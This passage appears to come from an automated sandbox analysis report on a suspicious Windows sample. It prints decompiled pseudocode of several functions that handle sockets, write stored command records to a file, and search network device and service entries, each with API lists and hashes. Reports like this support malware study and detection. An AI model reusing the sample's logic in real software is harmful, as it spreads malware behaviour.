							return E0040E110(2, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
						} else {
							 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t108 + 0x20)) + __ebx;
							 *((intOrPtr*)(_t108 + 0x1c)) =  *((intOrPtr*)(_t108 + 0x1c)) - __ebx;
							_push(_t106);
							return E0040E4B0(_t108);
						}
					} else {
						return InterlockedDecrement(_t108 + 0x14);
					}
				} else {
					_t73 = _t64 - 1;
					if(_t73 != 0) {
						L14:
						return _t73;
					} else {
						if( *((intOrPtr*)(_t106 + 0x275)) == _t73) {
							InterlockedDecrement(_t106 + 0x21c);
							InterlockedExchangeAdd( *((intOrPtr*)(_t106 + 0x27c)) + 0x44, __ebx);
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v8 = _t106 + 8;
							_v4 = __ebx;
							E0040E110(3, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
							_t73 = E0040E6C0(_t106);
							if(_t73 != 0) {
								goto L14;
							} else {
								 *((char*)(_t106 + 0x275)) = 1;
								return _t73;
							}
						} else {
							return InterlockedDecrement(_t106 + 0x21c);
						}
					}
				}
			}
















                                                                                                                                                                                                                                                                                                                                                      0x0040e73a
                                                                                                                                                                                                                                                                                                                                                      0x0040e73c
                                                                                                                                                                                                                                                                                                                                                      0x0040e73e
                                                                                                                                                                                                                                                                                                                                                      0x0040e8c6
                                                                                                                                                                                                                                                                                                                                                      0x0040e8dd
                                                                                                                                                                                                                                                                                                                                                      0x0040e8e2
                                                                                                                                                                                                                                                                                                                                                      0x0040e8f0
                                                                                                                                                                                                                                                                                                                                                      0x0040e8f7
                                                                                                                                                                                                                                                                                                                                                      0x0040e8fc
                                                                                                                                                                                                                                                                                                                                                      0x0040e909
                                                                                                                                                                                                                                                                                                                                                      0x0040e90f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e90f
                                                                                                                                                                                                                                                                                                                                                      0x0040e756
                                                                                                                                                                                                                                                                                                                                                      0x0040e75f
                                                                                                                                                                                                                                                                                                                                                      0x0040e762
                                                                                                                                                                                                                                                                                                                                                      0x0040e825
                                                                                                                                                                                                                                                                                                                                                      0x0040e837
                                                                                                                                                                                                                                                                                                                                                      0x0040e840
                                                                                                                                                                                                                                                                                                                                                      0x0040e85b
                                                                                                                                                                                                                                                                                                                                                      0x0040e873
                                                                                                                                                                                                                                                                                                                                                      0x0040e87d
                                                                                                                                                                                                                                                                                                                                                      0x0040e884
                                                                                                                                                                                                                                                                                                                                                      0x0040e888
                                                                                                                                                                                                                                                                                                                                                      0x0040e892
                                                                                                                                                                                                                                                                                                                                                      0x0040e8a1
                                                                                                                                                                                                                                                                                                                                                      0x0040e8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040e8c1
                                                                                                                                                                                                                                                                                                                                                      0x0040e842
                                                                                                                                                                                                                                                                                                                                                      0x0040e842
                                                                                                                                                                                                                                                                                                                                                      0x0040e845
                                                                                                                                                                                                                                                                                                                                                      0x0040e848
                                                                                                                                                                                                                                                                                                                                                      0x0040e856
                                                                                                                                                                                                                                                                                                                                                      0x0040e856
                                                                                                                                                                                                                                                                                                                                                      0x0040e827
                                                                                                                                                                                                                                                                                                                                                      0x0040e836
                                                                                                                                                                                                                                                                                                                                                      0x0040e836
                                                                                                                                                                                                                                                                                                                                                      0x0040e768
                                                                                                                                                                                                                                                                                                                                                      0x0040e768
                                                                                                                                                                                                                                                                                                                                                      0x0040e76b
                                                                                                                                                                                                                                                                                                                                                      0x0040e91e
                                                                                                                                                                                                                                                                                                                                                      0x0040e91e
                                                                                                                                                                                                                                                                                                                                                      0x0040e771
                                                                                                                                                                                                                                                                                                                                                      0x0040e777
                                                                                                                                                                                                                                                                                                                                                      0x0040e793
                                                                                                                                                                                                                                                                                                                                                      0x0040e7a4
                                                                                                                                                                                                                                                                                                                                                      0x0040e7bc
                                                                                                                                                                                                                                                                                                                                                      0x0040e7c6
                                                                                                                                                                                                                                                                                                                                                      0x0040e7d0
                                                                                                                                                                                                                                                                                                                                                      0x0040e7d4
                                                                                                                                                                                                                                                                                                                                                      0x0040e7d8
                                                                                                                                                                                                                                                                                                                                                      0x0040e7ea
                                                                                                                                                                                                                                                                                                                                                      0x0040e7f6
                                                                                                                                                                                                                                                                                                                                                      0x0040e7fa
                                                                                                                                                                                                                                                                                                                                                      0x0040e804
                                                                                                                                                                                                                                                                                                                                                      0x0040e80b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e811
                                                                                                                                                                                                                                                                                                                                                      0x0040e811
                                                                                                                                                                                                                                                                                                                                                      0x0040e81d
                                                                                                                                                                                                                                                                                                                                                      0x0040e81d
                                                                                                                                                                                                                                                                                                                                                      0x0040e779
                                                                                                                                                                                                                                                                                                                                                      0x0040e78b
                                                                                                                                                                                                                                                                                                                                                      0x0040e78b
                                                                                                                                                                                                                                                                                                                                                      0x0040e777
                                                                                                                                                                                                                                                                                                                                                      0x0040e76b

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(?,00000000), ref: 0040E756
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E780
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E793
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,?), ref: 0040E7A4
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E82B
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E8C6
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32 ref: 0040E8FC
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(?), ref: 0040E909
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: NtQuerySystemTime.NTDLL ref: 0040BD5A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: RtlTimeToSecondsSince1980.NTDLL ref: 0040BD68
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 671207744-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 534715bf6c2f2a84fc17b906ef479946954bfcc32e72f08728175c43cb43f7bb
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: bf08bfb089cccb0d350598efede324d2cd87fe214d8a91e4e45fb32bb93ae6b1
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 534715bf6c2f2a84fc17b906ef479946954bfcc32e72f08728175c43cb43f7bb
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F651BF75608B01ABC704DF39D488B97FBE4BFC8314F408A2EE49D83351D735A5588BA6
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 004048E0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 177fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 97%
                                                                                                                                                                                                                                                                                                                                                      			E004048E0(intOrPtr _a12, intOrPtr _a16) {
				signed int _v5;
				void* _v12;
				signed int _v13;
				signed int _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				long _v36;
				signed char _t76;
				void* _t79;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char _t91;
				signed int _t141;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t169;

				_v5 = 0;
				EnterCriticalSection(0x414c50);
				_t111 = _a12;
				_t76 = E0040B160(_a12, _a16);
				_t159 = _t158 + 8;
				if((_t76 & 0x000000ff) != 0) {
					_t79 = E0040B100(_t111, _a12);
					_t160 = _t159 + 4;
					_v12 = _t79;
					if(_v12 != 0) {
						_v5 = 1;
						_v13 = 0;
						_v20 = 0;
						while(1) {
							_t169 = _v20 -  *0x414c6c; // 0x0
							if(_t169 >= 0) {
								break;
							}
							_v24 = _v20 * 0x110 +  *0x414c68;
							if( *((intOrPtr*)(_v24 + 4)) ==  *((intOrPtr*)(_v12 + 4))) {
								memcpy(_v24, _v12, 0x40 << 2);
								E00408B60( *((intOrPtr*)(_v24 + 0x108)));
								 *((intOrPtr*)(_v24 + 0x108)) = E00408BD0(_a12, _a16);
								 *((intOrPtr*)(_v24 + 0x10c)) = _a16;
								E00408B60( *((intOrPtr*)(_v24 + 0x100)));
								 *((intOrPtr*)(_v24 + 0x104)) = _a16 - 0x100;
								 *((intOrPtr*)(_v24 + 0x100)) = E0040AA70( *((intOrPtr*)(_v24 + 0x104)), _v24 + 0x14, 0x14, _a12 + 0x100,  *((intOrPtr*)(_v24 + 0x104)));
								_push( *((intOrPtr*)(_v24 + 8)));
								E00405C00( *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 4)),  *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 0x104)));
								_t160 = _t160 + 0x3c;
								_v13 = 1;
							} else {
								_v20 = _v20 + 1;
								continue;
							}
							break;
						}
						__eflags = _v13 & 0x000000ff;
						if((_v13 & 0x000000ff) == 0) {
							_t91 = E00404450(_a16, _v12, _a12, _a16, 1);
							_t160 = _t160 + 0x10;
							__eflags = _t91 & 0x000000ff;
							if((_t91 & 0x000000ff) == 0) {
								 *0x414c6c = 0;
								_v5 = 0;
							}
						}
						E00408B60(_v12);
						__eflags = _v5 & 0x000000ff;
						if((_v5 & 0x000000ff) != 0) {
							_v28 = CreateFileW("C:\Users\alfons\tbcmds.dat", 0x40000000, 0, 0, 2, 2, 0);
							__eflags = _v28 - 0xffffffff;
							if(_v28 != 0xffffffff) {
								_v32 = 0;
								while(1) {
									__eflags = _v32 -  *0x414c6c; // 0x0
									if(__eflags >= 0) {
										break;
									}
									_t87 =  *0x414c68; // 0x0
									_t88 =  *0x414c68; // 0x0
									WriteFile(_v28,  *(_t88 + 0x108 + _v32 * 0x110),  *(_t87 + 0x10c + _v32 * 0x110),  &_v36, 0);
									_t141 = _v32 + 1;
									__eflags = _t141;
									_v32 = _t141;
								}
								FlushFileBuffers(_v28);
								CloseHandle(_v28);
							}
						}
					}
				}
				LeaveCriticalSection(0x414c50);
				return _v5;
			}





















                                                                                                                                                                                                                                                                                                                                                      0x004048e8
                                                                                                                                                                                                                                                                                                                                                      0x004048f1
                                                                                                                                                                                                                                                                                                                                                      0x004048fb
                                                                                                                                                                                                                                                                                                                                                      0x004048ff
                                                                                                                                                                                                                                                                                                                                                      0x00404904
                                                                                                                                                                                                                                                                                                                                                      0x0040490c
                                                                                                                                                                                                                                                                                                                                                      0x00404916
                                                                                                                                                                                                                                                                                                                                                      0x0040491b
                                                                                                                                                                                                                                                                                                                                                      0x0040491e
                                                                                                                                                                                                                                                                                                                                                      0x00404925
                                                                                                                                                                                                                                                                                                                                                      0x0040492b
                                                                                                                                                                                                                                                                                                                                                      0x0040492f
                                                                                                                                                                                                                                                                                                                                                      0x00404933
                                                                                                                                                                                                                                                                                                                                                      0x00404945
                                                                                                                                                                                                                                                                                                                                                      0x00404948
                                                                                                                                                                                                                                                                                                                                                      0x0040494e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404963
                                                                                                                                                                                                                                                                                                                                                      0x00404972
                                                                                                                                                                                                                                                                                                                                                      0x00404981
                                                                                                                                                                                                                                                                                                                                                      0x0040498d
                                                                                                                                                                                                                                                                                                                                                      0x004049a8
                                                                                                                                                                                                                                                                                                                                                      0x004049b4
                                                                                                                                                                                                                                                                                                                                                      0x004049c4
                                                                                                                                                                                                                                                                                                                                                      0x004049d8
                                                                                                                                                                                                                                                                                                                                                      0x00404a06
                                                                                                                                                                                                                                                                                                                                                      0x00404a12
                                                                                                                                                                                                                                                                                                                                                      0x00404a2e
                                                                                                                                                                                                                                                                                                                                                      0x00404a33
                                                                                                                                                                                                                                                                                                                                                      0x00404a36
                                                                                                                                                                                                                                                                                                                                                      0x00404974
                                                                                                                                                                                                                                                                                                                                                      0x00404942
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404942
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404972
                                                                                                                                                                                                                                                                                                                                                      0x00404a45
                                                                                                                                                                                                                                                                                                                                                      0x00404a47
                                                                                                                                                                                                                                                                                                                                                      0x00404a57
                                                                                                                                                                                                                                                                                                                                                      0x00404a5c
                                                                                                                                                                                                                                                                                                                                                      0x00404a62
                                                                                                                                                                                                                                                                                                                                                      0x00404a64
                                                                                                                                                                                                                                                                                                                                                      0x00404a66
                                                                                                                                                                                                                                                                                                                                                      0x00404a70
                                                                                                                                                                                                                                                                                                                                                      0x00404a70
                                                                                                                                                                                                                                                                                                                                                      0x00404a64
                                                                                                                                                                                                                                                                                                                                                      0x00404a78
                                                                                                                                                                                                                                                                                                                                                      0x00404a84
                                                                                                                                                                                                                                                                                                                                                      0x00404a86
                                                                                                                                                                                                                                                                                                                                                      0x00404aa6
                                                                                                                                                                                                                                                                                                                                                      0x00404aa9
                                                                                                                                                                                                                                                                                                                                                      0x00404aad
                                                                                                                                                                                                                                                                                                                                                      0x00404aaf
                                                                                                                                                                                                                                                                                                                                                      0x00404ac1
                                                                                                                                                                                                                                                                                                                                                      0x00404ac4
                                                                                                                                                                                                                                                                                                                                                      0x00404aca
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404adb
                                                                                                                                                                                                                                                                                                                                                      0x00404af1
                                                                                                                                                                                                                                                                                                                                                      0x00404b02
                                                                                                                                                                                                                                                                                                                                                      0x00404abb
                                                                                                                                                                                                                                                                                                                                                      0x00404abb
                                                                                                                                                                                                                                                                                                                                                      0x00404abe
                                                                                                                                                                                                                                                                                                                                                      0x00404abe
                                                                                                                                                                                                                                                                                                                                                      0x00404b0e
                                                                                                                                                                                                                                                                                                                                                      0x00404b18
                                                                                                                                                                                                                                                                                                                                                      0x00404b18
                                                                                                                                                                                                                                                                                                                                                      0x00404aad
                                                                                                                                                                                                                                                                                                                                                      0x00404a86
                                                                                                                                                                                                                                                                                                                                                      0x00404925
                                                                                                                                                                                                                                                                                                                                                      0x00404b23
                                                                                                                                                                                                                                                                                                                                                      0x00404b31

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(00414C50,?,?,00000000,0040A437,006A0266,?,0040A453,00000000,0040B70C,?), ref: 004048F1
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(C:\Users\user\tbcmds.dat,40000000,00000000,00000000,00000002,00000002,00000000,?,?,?,?,00000000,0040A437,006A0266), ref: 00404AA0
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNEL32(000000FF,?,?,00000000,00000000,?,?,?,?,00000000), ref: 00404B02
                                                                                                                                                                                                                                                                                                                                                      • FlushFileBuffers.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404B0E
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404B18
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(00414C50,?,?,00000000,0040A437,006A0266,?,0040A453,00000000,0040B70C,?), ref: 00404B23
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\user\tbcmds.dat, xrefs: 00404A9B
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWrite
                                                                                                                                                                                                                                                                                                                                                      • String ID: C:\Users\user\tbcmds.dat
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2945370292-4015643306
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2eede30a1b9021843af01dddfa723826a4423e9829b439196ab7e03c59ea3c69
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2b18f2e3450dcd847f558ad843e7035d27ef42f20a0987f1f41a040e88bd04a4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2eede30a1b9021843af01dddfa723826a4423e9829b439196ab7e03c59ea3c69
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F0718FF5A002099BCB04CF94D985FEFB7B5BB88304F148169E505BB382D779A941CBA9
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C7D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 48%
                                                                                                                                                                                                                                                                                                                                                      			E0040C7D0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"device") == 0) {
									_t65 = E0040C0F0(_v20, L"deviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}












                                                                                                                                                                                                                                                                                                                                                      0x0040c7d6
                                                                                                                                                                                                                                                                                                                                                      0x0040c7dd
                                                                                                                                                                                                                                                                                                                                                      0x0040c7e7
                                                                                                                                                                                                                                                                                                                                                      0x0040c7f0
                                                                                                                                                                                                                                                                                                                                                      0x0040c7f8
                                                                                                                                                                                                                                                                                                                                                      0x0040c808
                                                                                                                                                                                                                                                                                                                                                      0x0040c81a
                                                                                                                                                                                                                                                                                                                                                      0x0040c826
                                                                                                                                                                                                                                                                                                                                                      0x0040c830
                                                                                                                                                                                                                                                                                                                                                      0x0040c834
                                                                                                                                                                                                                                                                                                                                                      0x0040c83d
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c923
                                                                                                                                                                                                                                                                                                                                                      0x0040c817
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c85f
                                                                                                                                                                                                                                                                                                                                                      0x0040c868
                                                                                                                                                                                                                                                                                                                                                      0x0040c873
                                                                                                                                                                                                                                                                                                                                                      0x0040c894
                                                                                                                                                                                                                                                                                                                                                      0x0040c89f
                                                                                                                                                                                                                                                                                                                                                      0x0040c8a4
                                                                                                                                                                                                                                                                                                                                                      0x0040c8a7
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ba
                                                                                                                                                                                                                                                                                                                                                      0x0040c8c3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8cb
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x0040c921
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c913
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c81a
                                                                                                                                                                                                                                                                                                                                                      0x0040c928
                                                                                                                                                                                                                                                                                                                                                      0x0040c92e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,device), ref: 0040C88C
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C8DB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C8EF
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C907
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: device$deviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3511266565
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9cb394442daad68dd84c333a344d676eba0026faeba622b23d54eedb1f956e34
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: a8615d3094e1971e290d6f9c10a0014d70873984087a3f1704e3b638c563dccf
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9cb394442daad68dd84c333a344d676eba0026faeba622b23d54eedb1f956e34
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1F41DEB5A0020ADFCB04DF94D884BAFB7B9BF48305F108669E515B7390D7789D81CB95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C5F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 48%
                                                                                                                                                                                                                                                                                                                                                      			E0040C5F0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"service") == 0) {
									_t65 = E0040C0F0(_v20, L"serviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}












                                                                                                                                                                                                                                                                                                                                                      0x0040c5f6
                                                                                                                                                                                                                                                                                                                                                      0x0040c5fd
                                                                                                                                                                                                                                                                                                                                                      0x0040c607
                                                                                                                                                                                                                                                                                                                                                      0x0040c610
                                                                                                                                                                                                                                                                                                                                                      0x0040c618
                                                                                                                                                                                                                                                                                                                                                      0x0040c628
                                                                                                                                                                                                                                                                                                                                                      0x0040c63a
                                                                                                                                                                                                                                                                                                                                                      0x0040c646
                                                                                                                                                                                                                                                                                                                                                      0x0040c650
                                                                                                                                                                                                                                                                                                                                                      0x0040c654
                                                                                                                                                                                                                                                                                                                                                      0x0040c65d
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c743
                                                                                                                                                                                                                                                                                                                                                      0x0040c637
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c67f
                                                                                                                                                                                                                                                                                                                                                      0x0040c688
